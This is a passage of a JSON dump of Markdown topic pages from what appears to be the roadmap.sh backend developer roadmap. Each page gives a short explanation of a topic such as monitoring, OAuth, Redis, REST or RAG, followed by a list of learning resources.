    "content": "# Monitoring\n\nMonitoring involves continuously collecting, analyzing, and alerting on metrics, logs, and traces from applications and infrastructure. It helps detect issues early, understand performance bottlenecks, and ensure system reliability. Key tools include Prometheus for metrics collection, Grafana for dashboards and visualization, and distributed tracing tools like Jaeger or Zipkin.\n\nVisit the following resources to learn more:\n\n- [@official@Prometheus Documentation](https://prometheus.io/docs/introduction/overview/)\n- [@official@Grafana Documentation](https://grafana.com/docs/grafana/latest/)\n- [@article@Top Monitoring Tools](https://thectoclub.com/tools/best-application-monitoring-software/)\n- [@article@Monitoring Distributed Systems - Google SRE Book](https://sre.google/sre-book/monitoring-distributed-systems/)\n- [@video@Prometheus and Grafana Tutorial for Beginners](https://www.youtube.com/watch?v=9TJx7QTrTyo)\n- [@video@Grafana Explained in 5 Minutes](https://www.youtube.com/watch?v=lILY8eSspEo)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/monolith@Ke522R-4k6TDeiDRyZbbU.md",
    "content": "# Monolithic Apps\n\nMonolithic applications are single, cohesive units with tightly integrated components running as one service. Simplifies development and deployment but creates scalability and maintainability challenges. Changes require full system redeployment. Suitable for smaller applications; larger ones often transition to microservices.\n\nVisit the following resources to learn more:\n\n- [@article@Pattern: Monolithic Architecture](https://microservices.io/patterns/monolithic.html)\n- [@article@Monolithic Architecture - Advantages & Disadvantages](https://datamify.medium.com/monolithic-architecture-advantages-and-disadvantages-e71a603eec89)\n- [@video@Monolithic vs Microservice Architecture](https://www.youtube.com/watch?v=NdeTGlZ__Do)"
  },
  {
    "path": "src/data/roadmaps/backend/content/monolithic-apps@Ke522R-4k6TDeiDRyZbbU.md",
    "content": "# Monolithic Apps\n\nMonolithic applications are single, cohesive units with tightly integrated components running as one service. Simplifies development and deployment but creates scalability and maintainability challenges. Changes require full system redeployment. Suitable for smaller applications; larger ones often transition to microservices.\n\nVisit the following resources to learn more:\n\n- [@article@Pattern: Monolithic Architecture](https://microservices.io/patterns/monolithic.html)\n- [@article@Monolithic Architecture - Advantages & Disadvantages](https://datamify.medium.com/monolithic-architecture-advantages-and-disadvantages-e71a603eec89)\n- [@video@Monolithic vs Microservice Architecture](https://www.youtube.com/watch?v=NdeTGlZ__Do)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/more-about-databases@LJt27onEOeIBomiEMTyKd.md",
    "content": "# Databases\n\nA database is a structured collection of useful data that serves as an organizational asset. A database management system (DBMS) is software designed to maintain and extract large data collections efficiently and timely.\n\nVisit the following resources to learn more:\n\n- [@article@Oracle: What is a Database?](https://www.oracle.com/database/what-is-database/)\n- [@article@Prisma.io: What are Databases?](https://www.prisma.io/dataguide/intro/what-are-databases)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ms-iis@0NJDgfe6eMa7qPUOI6Eya.md",
    "content": "# MS IIS\n\nMicrosoft IIS is a flexible, secure web server for hosting web applications on Windows Server. Supports [ASP.NET](http://ASP.NET), PHP, static content with features like authentication, SSL/TLS, URL rewriting. Offers GUI and command-line management tools for enterprise Windows-based deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft -IIS](https://www.iis.net/)\n- [@video@Learn Windows Web Server IIS](https://www.youtube.com/watch?v=1VdxPWwtISA)\n- [@video@What is IIS?](https://www.youtube.com/watch?v=hPWSqEXOjQY)\n- [@feed@Explore top posts about .NET](https://app.daily.dev/tags/.net?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ms-sql@dEsTje8kfHwWjCI3zcgLC.md",
    "content": "# MS SQL\n\nMicrosoft SQL Server is a relational database management system for structured data management. Supports querying, transactions, data warehousing with T-SQL, SSIS integration, SSAS analytics, and SSRS reporting. Used in enterprise environments for reliable storage and processing.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@official@MS SQL](https://www.microsoft.com/en-ca/sql-server/)\n- [@article@Tutorials for SQL Server](https://docs.microsoft.com/en-us/sql/sql-server/tutorials-for-sql-server-2016?view=sql-server-ver15)\n- [@video@SQL Server tutorial for beginners](https://www.youtube.com/watch?v=-EPMOaV7h_Q)"
  },
  {
    "path": "src/data/roadmaps/backend/content/mysql@VPxOdjJtKAqmM5V0LR5OC.md",
    "content": "# MySQL\n\nMySQL is an open-source RDBMS known for speed, reliability, and ease of use. Supports SQL, transactions, indexing, and stored procedures. Widely used for web applications, integrates with many languages, and part of LAMP stack. Maintained by Oracle with large community support.\n\nVisit the following resources to learn more:\n\n- [@official@MySQL](https://www.mysql.com/)\n- [@article@MySQL for Developers](https://planetscale.com/courses/mysql-for-developers/introduction/course-introduction)\n- [@article@MySQL Tutorial](https://www.mysqltutorial.org/)\n- [@video@MySQL Complete Course](https://www.youtube.com/watch?v=5OdVJbNCSso)\n- [@feed@Explore top posts about MySQL](https://app.daily.dev/tags/mysql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/n1-problem@bQnOAu863hsHdyNMNyJop.md",
    "content": "# N plus one problem\n\nThe N+1 problem occurs when an application retrieves a list then performs additional queries for each item's related data. Results in inefficient query multiplication (1 + N queries instead of optimized joins). Severely impacts performance with larger datasets. Solved through query optimization, joins, or batching techniques.\n\nVisit the following resources to learn more:\n\n- [@article@In Detail Explanation of N+1 Problem](https://medium.com/doctolib/understanding-and-fixing-n-1-query-30623109fe89)\n- [@article@What is the N+1 Problem](https://planetscale.com/blog/what-is-n-1-query-problem-and-how-to-solve-it)\n- [@article@Solving N+1 Problem: For Java Backend Developers](https://dev.to/jackynote/solving-the-notorious-n1-problem-optimizing-database-queries-for-java-backend-developers-2o0p)\n- [@video@SQLite and the N+1 (no) problem](https://www.youtube.com/watch?v=qPfAQY_RahA)"
  },
  {
    "path": "src/data/roadmaps/backend/content/neo4j@BTNJfWemFKEeNeTyENXui.md",
    "content": "# NEO4J\n\nNeo4j is an open-source graph database storing data as interconnected nodes and relationships rather than tables. Uses Cypher query language for efficient graph traversal and pattern matching. Ideal for complex relationship applications like social networks, recommendations, and fraud detection.\n\nVisit the following resources to learn more:\n\n- [@official@Neo4j Website](https://neo4j.com)\n- [@video@Neo4j in 100 Seconds](https://www.youtube.com/watch?v=T6L9EoBy8Zk)\n- [@video@Neo4j Course for Beginners](https://www.youtube.com/watch?v=_IgbB24scLI)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/nginx@z5AdThp9ByulmM9uekgm-.md",
    "content": "# Nginx\n\nNginx is a high-performance web server and reverse proxy known for efficiency and low resource consumption. Also used as load balancer, HTTP cache, and mail proxy. Excels at concurrent connections via asynchronous, event-driven architecture. Popular for modern web infrastructures.\n\nVisit the following resources to learn more:\n\n- [@official@Nginx Website](https://nginx.org/)\n- [@video@NGINX Explained in 100 Seconds](https://www.youtube.com/watch?v=JKxlsvZXG7c)\n- [@video@NGINX Tutorial for Beginners](https://www.youtube.com/watch?v=9t9Mp0BGnyI)\n- [@feed@Explore top posts about Nginx](https://app.daily.dev/tags/nginx?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/normalization@Ge2SnKBrQQrU-oGLz6TmT.md",
    "content": "# Database Normalization\n\nDatabase normalization structures relational databases using normal forms to reduce data redundancy and improve integrity. Proposed by Edgar F. Codd, it organizes columns and tables to enforce proper dependencies through database constraints via synthesis or decomposition processes.\n\nVisit the following resources to learn more:\n\n- [@article@What is Normalization in DBMS (SQL)? 1NF, 2NF, 3NF, BCNF Database with Example](https://www.guru99.com/database-normalization.html)\n- [@video@Complete guide to Database Normalization in SQL](https://www.youtube.com/watch?v=rBPQ5fg_kiY)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/nosql-databases@F8frGuv1dunOdcVJ_IiGs.md",
    "content": "# NoSQL databases\n\nNoSQL databases handle unstructured, semi-structured, or rapidly changing data with flexible schemas. Four types: Document stores (MongoDB, CouchDB), Key-value stores (Redis, Riak), Column-family (Cassandra, HBase), and Graph databases (Neo4j, Neptune). Used for high scalability, flexibility, and performance applications.\n\nVisit the following resources to learn more:\n\n- [@article@NoSQL Explained](https://www.mongodb.com/nosql-explained)\n- [@video@How do NoSQL Databases work](https://www.youtube.com/watch?v=0buKQHokLK8)\n- [@video@SQL vs NoSQL Explained](https://www.youtube.com/watch?v=ruz-vK8IesE)\n- [@feed@Explore top posts about NoSQL](https://app.daily.dev/tags/nosql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/oauth@vp-muizdICcmU0gN8zmkS.md",
    "content": "# OAuth\n\nOAuth is an open authorization standard allowing third-party applications to access user resources without exposing credentials. Uses access tokens issued after user permission, involving resource owner, resource server, and authorization server. Enables secure token-based access management for services.\n\nVisit the following resources to learn more:\n\n- [@article@Okta - What the Heck is OAuth](https://developer.okta.com/blog/2017/06/21/what-the-heck-is-oauth)\n- [@article@DigitalOcean - An Introduction to OAuth 2](https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2)\n- [@video@OAuth 2 Explained In Simple Terms](https://www.youtube.com/watch?v=ZV5yTm4pT8g)\n- [@feed@Explore top posts about OAuth](https://app.daily.dev/tags/oauth?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/observability@Z01E67D6KjrShvQCHjGR7.md",
    "content": "# Observability\n\nObservability monitors system internal state through external outputs like metrics, logs, and traces. Involves collecting, analyzing, and visualizing data for performance insights, anomaly detection, and troubleshooting. Enables proactive management and rapid issue response.\n\nVisit the following resources to learn more:\n\n- [@article@DataDog Docs](https://docs.datadoghq.com/)\n- [@article@AWS CloudWatch Docs](https://aws.amazon.com/cloudwatch/getting-started/)\n- [@article@Sentry Docs](https://docs.sentry.io/)\n- [@article@Observability and Instrumentation: What They Are and Why They Matter](https://newrelic.com/blog/best-practices/observability-instrumentation)\n- [@video@What is observability?](https://www.youtube.com/watch?v=--17See0KHs)\n- [@feed@Explore top posts about Observability](https://app.daily.dev/tags/observability?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/open-api-specs@9cD5ag1L0GqHx4_zxc5JX.md",
    "content": "# Open API Spec\n\nOpenAPI Specification (OAS), formerly Swagger, is a standard for defining and documenting RESTful APIs in YAML/JSON format. Describes endpoints, formats, authentication, and metadata. Enables client generation, automated documentation, testing, and promotes API design consistency.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAPI Specification Website](https://swagger.io/specification/)\n- [@official@Open API Live Editor](https://swagger.io/tools/swagger-editor/)\n- [@video@OpenAPI 3.0: How to Design and Document APIs with the Latest OpenAPI Specification 3.0](https://www.youtube.com/watch?v=6kwmW_p_Tig)\n- [@video@ REST API and OpenAPI: It’s Not an Either/Or Question](https://www.youtube.com/watch?v=pRS9LRBgjYg)"
  },
  {
    "path": "src/data/roadmaps/backend/content/openai@-ye5ZtYFDoYGpj-UJaBP8.md",
    "content": "# OpenAI\n\nOpenAI provides a suite of artificial intelligence models and tools accessible through an API. These models can perform tasks like generating text, translating languages, writing different kinds of creative content, and answering your questions in an informative way. Developers can integrate these powerful AI capabilities into their applications by sending requests to OpenAI's API endpoints and receiving responses.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Platform](https://platform.openai.com/docs/overview)\n- [@official@OpenAI Models](https://platform.openai.com/docs/models)\n- [@official@OpenAI Academy](https://academy.openai.com/)"
  },
  {
    "path": "src/data/roadmaps/backend/content/openid@z3EJBpgGm0_Uj3ymhypbX.md",
    "content": "# OpenID\n\nOpenID is an open standard for decentralized authentication enabling single sign-on across multiple websites using one set of credentials managed by an identity provider. Often works with OAuth 2.0 for authorization, enhancing user convenience and streamlining identity management.\n\nVisit the following resources to learn more:\n\n- [@official@OpenID Website](https://openid.net/)\n- [@article@OpenID Connect Protocol](https://auth0.com/docs/authenticate/protocols/openid-connect-protocol)\n- [@video@An Illustrated Guide to OAuth and OpenID Connect](https://www.youtube.com/watch?v=t18YB3xDfXI)\n- [@video@OAuth 2.0 and OpenID Connect (in plain English)](https://www.youtube.com/watch?v=996OiexHze0)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/oracle@h1SAjQltHtztSt8QmRgab.md",
    "content": "# Oracle\n\nOracle Database is an enterprise-grade RDBMS known for scalability, reliability, and comprehensive features. Supports complex data management, SQL querying, transaction management, clustering, and multiple data models (relational, spatial, graph). Used for large-scale, secure, high-performance applications.\n\nVisit the following resources to learn more:\n\n- [@official@Oracle Website](https://www.oracle.com/database/)\n- [@official@Oracle Docs](https://docs.oracle.com/en/database/index.html)\n- [@video@Oracle SQL Tutorial for Beginners](https://www.youtube.com/watch?v=ObbNGhcxXJA)\n- [@feed@Explore top posts about Oracle](https://app.daily.dev/tags/oracle?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/orms@Z7jp_Juj5PffSxV7UZcBb.md",
    "content": "# ORMs\n\nORM (Object-Relational Mapping) allows developers to interact with databases using object-oriented concepts. Maps database tables to classes and rows to objects, eliminating raw SQL queries. Simplifies data manipulation and improves maintainability. Popular ORMs: Hibernate (Java), Entity Framework (.NET), SQLAlchemy (Python).\n\nVisit the following resources to learn more:\n\n- [@official@Prisma ORM Documentation](https://www.prisma.io/docs)\n- [@official@SQLAlchemy Documentation](https://docs.sqlalchemy.org/)\n- [@article@What is an ORM, how does it work, and how should I use one?](https://stackoverflow.com/a/1279678)\n- [@article@What is an ORM](https://www.freecodecamp.org/news/what-is-an-orm-the-meaning-of-object-relational-mapping-database-tools/)\n- [@video@What is an ORM? - NestJS and Prisma Tutorial](https://www.youtube.com/watch?v=rLRIB6AF2Dg)\n- [@video@Why Use an ORM?](https://www.youtube.com/watch?v=vHt2LC1EM3Q)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/owasp-risks@AAgciyxuDvS2B_c6FRMvT.md",
    "content": "# OWASP Security Risks\n\nOWASP (Open Web Application Security Project) is an online community producing freely-available articles, methodologies, documentation, tools, and technologies for web application security.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Website](https://owasp.org/)\n- [@opensource@OWASP Application Security Verification Standard](https://github.com/OWASP/ASVS)\n- [@article@OWASP Top 10 Security Risks](https://cheatsheetseries.owasp.org/IndexTopTen.html)\n- [@article@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)"
  },
  {
    "path": "src/data/roadmaps/backend/content/php@l9Wrq_Ad9-Ju4NIB0m5Ha.md",
    "content": "# PHP\n\nPHP (Hypertext Preprocessor) is an open-source scripting language for web development embedded in HTML to create dynamic pages. Known for simplicity and database integration, particularly MySQL. Powers major platforms like WordPress, Joomla, and Drupal with server-side scripting capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Visit Dedicated PHP Roadmap](https://roadmap.sh/php)\n- [@official@PHP](https://php.net/)\n- [@article@PHP - The Right Way](https://phptherightway.com/)\n- [@video@PHP for Beginners](https://www.youtube.com/watch?v=zZ6vybT1HQs)\n- [@feed@Explore top posts about PHP](https://app.daily.dev/tags/php?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/pick-a-backend-language@2f0ZO6GJElfZ2Eis28Hzg.md",
    "content": "# Learn a Language\n\nWeb development divides into Frontend (HTML, CSS, JavaScript) and Backend Development. Backend uses server-side languages like Python, Java, or Node.js, complemented by databases, frameworks, and web servers for website functionality. Choose a language based on project needs and preferences."
  },
  {
    "path": "src/data/roadmaps/backend/content/pick-a-language@2f0ZO6GJElfZ2Eis28Hzg.md",
    "content": "# Learn a Language\n\nWeb development divides into Frontend (HTML, CSS, JavaScript) and Backend Development. Backend uses server-side languages like Python, Java, or Node.js, complemented by databases, frameworks, and web servers for website functionality. Choose a language based on project needs and preferences.\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/postgresql@FihTrMO56kj9jT8O_pO2T.md",
    "content": "# PostgreSQL\n\nPostgreSQL is an advanced, open-source RDBMS known for robustness, extensibility, and standards compliance. Supports complex queries, custom data types, full-text search, and ACID properties. Highly extensible with strong concurrency support, suitable for web apps to data warehousing.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated PostgreSQL DBA Roadmap](https://roadmap.sh/postgresql-dba)\n- [@course@PostgreSQL Full Course for Beginners – freeCodeCamp](https://www.youtube.com/watch?v=qw--VYLpxG4)\n- [@official@Official Website](https://www.postgresql.org/)\n- [@article@Learn PostgreSQL - Full Tutorial for Beginners](https://www.postgresqltutorial.com/)\n- [@video@PostgreSQL in 100 Seconds](https://www.youtube.com/watch?v=n2Fluyr3lbc)\n- [@video@Postgres tutorial for Beginners](https://www.youtube.com/watch?v=SpfIwlAYaKk)\n- [@feed@Explore top posts about PostgreSQL](https://app.daily.dev/tags/postgresql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/profiling-perfor@SYXJhanu0lFmGj2m2XXhS.md",
    "content": "# Profiling Performance\n\nPerformance profiling analyzes system behavior to identify bottlenecks and optimization opportunities. Collects data on CPU, memory, I/O operations, and execution times. Provides insights into code performance, highlighting slow operations for targeted improvements and enhanced responsiveness.\n\nLearn more from the following resources:\n\n- [@article@How to Profile SQL Queries for Better Performance](https://servebolt.com/articles/profiling-sql-queries/)\n- [@video@Performance Profiling](https://www.youtube.com/watch?v=MaauQTeGg2k)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/profiling-performance@SYXJhanu0lFmGj2m2XXhS.md",
    "content": "# Profiling Performance\n\nPerformance profiling analyzes system behavior to identify bottlenecks and optimization opportunities. Collects data on CPU, memory, I/O operations, and execution times. Provides insights into code performance, highlighting slow operations for targeted improvements and enhanced responsiveness.\n\nVisit the following resources to learn more:\n\n- [@article@How to Profile SQL Queries for Better Performance](https://servebolt.com/articles/profiling-sql-queries/)\n- [@video@Performance Profiling](https://www.youtube.com/watch?v=MaauQTeGg2k)"
  },
  {
    "path": "src/data/roadmaps/backend/content/prompting-techniques@xL8d-uHMpJKwUvT8z-Jia.md",
    "content": "# Prompt Engineering\n\nPrompt engineering is the process of crafting effective inputs (prompts) to guide AI models to generate desired outputs. It involves strategically designing prompts to optimize the model’s performance by providing clear instructions, context, and examples. Effective prompt engineering can improve the quality, relevance, and accuracy of responses, making it essential for applications like chatbots, content generation, and automated support. By refining prompts, developers can better control the model’s behavior, reduce ambiguity, and achieve more consistent results, enhancing the overall effectiveness of AI-driven systems.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [@course@Introduction to Prompt Engineering](https://learnprompting.org/courses/intro-to-prompt-engineering)\n- [@article@What is Prompt Engineering? A Detailed Guide For 2026](https://www.datacamp.com/blog/what-is-prompt-engineering-the-future-of-ai-communication)\n- [@article@Prompting Techniques](https://www.promptingguide.ai/techniques)\n- [@article@Prompt engineering techniques](https://www.ibm.com/think/topics/prompt-engineering-techniques)\n- [@video@What is Prompt Engineering?](https://www.youtube.com/watch?v=nf1e-55KKbg)"
  },
  {
    "path": "src/data/roadmaps/backend/content/python@J_sVHsD72Yzyqb9KCIvAY.md",
    "content": "# Python\n\nPython is a high-level, interpreted language known for readability, simplicity, and versatility. Supports multiple paradigms with rich ecosystem including Django/Flask (web), Pandas/NumPy (data), TensorFlow/PyTorch (ML). Used for web development, data science, automation, and scripting.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@course@Python Full Course for free](https://www.youtube.com/watch?v=ix9cRaBkVe0)\n- [@official@Python Website](https://www.python.org/)\n- [@article@Automate the Boring Stuff](https://automatetheboringstuff.com/)\n- [@article@An Introduction to Python for Non-Programmers](https://thenewstack.io/an-introduction-to-python-for-non-programmers/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/rabbitmq@GPFRMcY1DEtRgnaZwJ3vW.md",
    "content": "# RabbitMQ\n\nRabbitMQ is an open-source message broker using AMQP for asynchronous communication between distributed systems. Enables message queuing, routing, durability, and acknowledgments. Supports various messaging patterns (pub/sub, request/reply, point-to-point). Used for high-throughput enterprise messaging.\n\nVisit the following resources to learn more:\n\n- [@official@RabbitMQ Tutorials](https://www.rabbitmq.com/getstarted.html)\n- [@video@RabbitMQ Tutorial - Message Queues and Distributed Systems](https://www.youtube.com/watch?v=nFxjaVmFj5E)\n- [@video@RabbitMQ in 100 Seconds](https://m.youtube.com/watch?v=NQ3fZtyXji0)\n- [@feed@Explore top posts about RabbitMQ](https://app.daily.dev/tags/rabbitmq?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/rags@6PCOCzCbx7jo9wO2Hl2gy.md",
    "content": "# RAGs\n\nRetrieval-Augmented Generation (RAG) is an AI approach that combines information retrieval with language generation to create more accurate, contextually relevant outputs. It works by first retrieving relevant data from a knowledge base or external source, then using a language model to generate a response based on that information. This method enhances the accuracy of generative models by grounding their outputs in real-world data, making RAG ideal for tasks like question answering, summarization, and chatbots that require reliable, up-to-date information.\n\nVisit the following resources to learn more:\n\n- [@article@What is Retrieval Augmented Generation (RAG)? - Datacamp](https://www.datacamp.com/blog/what-is-retrieval-augmented-generation-rag)\n- [@article@What is Retrieval-Augmented Generation? - Google](https://cloud.google.com/use-cases/retrieval-augmented-generation)\n- [@article@The Ultimate Guide to RAGs – Each Component Dissected](https://towardsdatascience.com/the-ultimate-guide-to-rags-each-component-dissected-3cd51c4c0212/)\n- [@video@What is Retrieval-Augmented Generation? - IBM](https://www.youtube.com/watch?v=T-D1OfcDW1M)"
  },
  {
    "path": "src/data/roadmaps/backend/content/real-time-data@5XGvep2qoti31bsyqNzrU.md",
    "content": "# Real Time Data\n\nReal-time data is processed and delivered immediately with minimal delay for prompt system responses. Essential for financial trading, gaming, analytics, and monitoring. Uses stream processing frameworks like Apache Kafka and Flink for high-speed data flows and timely decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@Real-time Data - Wiki](https://en.wikipedia.org/wiki/Real-time_data)\n- [@article@What is Real-time Data?](https://www.qlik.com/us/streaming-data/real-time-data)"
  },
  {
    "path": "src/data/roadmaps/backend/content/redis@M0iaSSdVPWaCUpyTG50Vf.md",
    "content": "# Redis\n\nRedis is an open-source, in-memory data structure store supporting strings, lists, sets, hashes, and sorted sets. Used for caching, session management, real-time analytics, and message brokering. Offers persistence, replication, clustering, and low-latency high-throughput performance.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Redis Roadmap](https://roadmap.sh/redis)\n- [@course@Redis Crash Course](https://www.youtube.com/watch?v=XCsS_NVAa1g)\n- [@official@Redis](https://redis.io/)\n- [@official@Redis Documentation](https://redis.io/docs/latest/)\n- [@article@Redis Data Types Explained](https://redis.io/docs/data-types/)\n- [@video@Redis in 100 Seconds](https://www.youtube.com/watch?v=G1rOthIU-uo)\n- [@video@Redis Tutorial for Beginners](https://www.youtube.com/watch?v=jgpVdJB2sKQ)\n- [@feed@Explore top posts about Redis](https://app.daily.dev/tags/redis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/redis@g8GjkJAhvnSxXTZks0V1g.md",
    "content": "# Redis\n\nRedis is an open-source, in-memory data structure store supporting strings, lists, sets, hashes, and sorted sets. Used for caching, session management, real-time analytics, and message brokering. Offers persistence, replication, clustering, and low-latency high-throughput performance.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Redis Roadmap](https://roadmap.sh/redis)\n- [@course@Redis Crash Course](https://www.youtube.com/watch?v=XCsS_NVAa1g)\n- [@official@Redis](https://redis.io/)\n- [@official@Redis Documentation](https://redis.io/docs/latest/)\n- [@article@Redis Data Types Explained](https://redis.io/docs/data-types/)\n- [@video@Redis in 100 Seconds](https://www.youtube.com/watch?v=G1rOthIU-uo)\n- [@video@Redis Tutorial for Beginners](https://www.youtube.com/watch?v=jgpVdJB2sKQ)\n- [@feed@Explore top posts about Redis](https://app.daily.dev/tags/redis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/refactoring@EYT2rTLZ8tUW2u8DOnAWF.md",
    "content": "# Refactoring with AI\n\nRefactoring, in the context of software development, is the process of restructuring existing computer code—changing its internal structure—without changing its external behavior. AI tools can assist in this process by analyzing code for potential improvements in readability, performance, and maintainability. They can automatically suggest or even implement changes like simplifying complex logic, removing redundant code, and improving code style consistency, ultimately leading to a cleaner and more efficient codebase.\n\nVisit the following resources to learn more:\n\n- [@article@What is AI code refactoring? - IBM](https://www.ibm.com/think/topics/ai-code-refactoring)\n- [@article@What is AI code refactoring?](https://graphite.com/guides/what-is-ai-code-refactoring)\n- [@video@Using AI to Refactor Legacy Code: A Practical Guide with Scott Wierschem](https://www.youtube.com/watch?v=B7Yt-WmlW2I)\n- [@video@AI-Driven Code Refactoring: Improving Legacy Codebases Automatically - Jorrik Klijnsma](https://www.youtube.com/watch?v=u8tvVxUOwvY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/relational-databases@r45b461NxLN6wBODJ5CNP.md",
    "content": "# Relational Databases\n\nRelational databases organize data into structured tables with rows and columns, using SQL for querying. Enforce data integrity through keys and constraints, handle complex queries and transactions efficiently. Examples: MySQL, PostgreSQL, Oracle. Used for structured data storage and strong consistency.\n\nVisit the following resources to learn more:\n\n- [@course@Databases and SQL](https://www.edx.org/course/databases-5-sql)\n- [@article@Relational Databases](https://www.ibm.com/cloud/learn/relational-databases)\n- [@article@51 Years of Relational Databases](https://learnsql.com/blog/codd-article-databases/)\n- [@article@Intro To Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197)\n- [@video@What is Relational Database](https://youtu.be/OqjJjpjDRLc)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/repo-hosting-services@NvUcSDWBhzJZ31nzT4UlE.md",
    "content": "# Repo Hosting Services\n\nRepo hosting services provide storage, management, and collaboration tools for version-controlled code repositories. Support Git, Mercurial, Subversion with features like branching, pull requests, issue tracking, code review, and CI/CD integration. Popular services: GitHub, GitLab, Bitbucket.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub](https://github.com)\n- [@official@GitLab](https://about.gitlab.com/)\n- [@official@BitBucket](https://bitbucket.org/product/guides/getting-started/overview)"
  },
  {
    "path": "src/data/roadmaps/backend/content/rest@lfNFDZZNdrB0lbEaMtU71.md",
    "content": "# REST\n\nREST API is an architectural style using standard HTTP methods (GET, POST, PUT, DELETE) to interact with URI-represented resources. It's stateless, requiring complete request information, uses HTTP status codes, and typically communicates via JSON/XML. Popular for simplicity and scalability.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Best practices for RESTful web API design](https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)\n- [@video@What is a REST API?](https://www.youtube.com/watch?v=-mN3VyJuCjM)\n- [@video@REST API Best Practices – REST Endpoint Design](https://www.youtube.com/watch?v=1Wl-rtew1_E)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/rethinkdb@5T0ljwlHL0545ICCeehcQ.md",
    "content": "# RethinkDB\n\nRethinkDB is an open-source, distributed NoSQL database for real-time applications. Features changefeed for automatic data update notifications, JSON document model, rich queries with joins and aggregations. Supports horizontal scaling through sharding and replication. Development ceased in 2016.\n\nVisit the following resources to learn more:\n\n- [@course@RethinkDB Crash Course](https://www.youtube.com/watch?v=pW3PFtchHDc)\n- [@official@RethinkDB Website](https://rethinkdb.com/)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ruby@SlH0Rl07yURDko2nDPfFy.md",
    "content": "# Ruby\n\nRuby is a high-level, object-oriented language known for simplicity, productivity, and elegant syntax. Emphasizes developer happiness and supports multiple paradigms. Famous for Ruby on Rails framework enabling rapid web application development. Popular for web development, scripting, and prototyping.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby Website](https://www.ruby-lang.org/en/)\n- [@article@Learn Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)\n- [@article@Ruby, An Introduction to a Programmer’s Best Friend](https://thenewstack.io/ruby-a-programmers-best-friend/)\n- [@video@Ruby Comprehensive courses](https://www.youtube.com/playlist?list=PL_EzhIKp343lBMH4UuklrMRL_WkilGoXe)\n- [@feed@Explore top posts about Ruby](https://app.daily.dev/tags/ruby?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/rust@CWwh2abwqx4hAxpAGvhIx.md",
